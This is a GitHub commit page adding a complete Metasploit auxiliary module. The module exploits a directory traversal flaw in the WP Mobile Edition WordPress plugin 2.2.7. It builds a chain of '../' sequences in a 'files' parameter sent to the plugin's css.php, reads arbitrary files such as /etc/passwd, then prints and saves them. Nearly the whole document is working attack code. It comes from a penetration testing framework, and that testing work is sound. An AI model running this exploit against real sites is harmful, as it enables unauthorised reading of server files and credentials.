Skip to content

Commit aef464f

Browse files
committed
Land rapid7#5159, WordPress Mobile Edition Plugin File Read Vuln
2 parents 3300845 + dd47475 commit aef464f

File tree

1 file changed

+80
-0
lines changed

1 file changed

+80
-0
lines changed
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::HTTP::Wordpress
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'WordPress Mobile Edition File Read Vulnerability',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability in WordPress Plugin
19+
"WP Mobile Edition" version 2.2.7, allowing to read arbitrary files with the
20+
web server privileges. Stay tuned to the correct value in TARGETURI.
21+
},
22+
'References' =>
23+
[
24+
['EDB', '36733'],
25+
['WPVDB', '7898']
26+
],
27+
'Author' =>
28+
[
29+
'Khwanchai Kaewyos', # Vulnerability discovery
30+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
31+
],
32+
'License' => MSF_LICENSE
33+
))
34+
35+
register_options(
36+
[
37+
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
38+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
39+
], self.class)
40+
end
41+
42+
def check
43+
check_plugin_version_from_readme('wp-mobile-edition', '2.3')
44+
end
45+
46+
def run_host(ip)
47+
traversal = "../" * datastore['DEPTH']
48+
filename = datastore['FILEPATH']
49+
filename = filename[1, filename.length] if filename =~ /^\//
50+
51+
res = send_request_cgi({
52+
'method' => 'GET',
53+
'uri' => normalize_uri(wordpress_url_themes, 'mTheme-Unus', 'css', 'css.php'),
54+
'vars_get' =>
55+
{
56+
'files' => "#{traversal}#{filename}"
57+
}
58+
})
59+
60+
if res && res.code == 200 && res.body.length > 0
61+
62+
print_status('Downloading file...')
63+
print_line("\n#{res.body}\n")
64+
65+
fname = datastore['FILEPATH']
66+
67+
path = store_loot(
68+
'mobileedition.traversal',
69+
'text/plain',
70+
ip,
71+
res.body,
72+
fname
73+
)
74+
75+
print_good("#{peer} - File saved in: #{path}")
76+
else
77+
print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
78+
end
79+
end
80+
end

0 commit comments

Comments
 (0)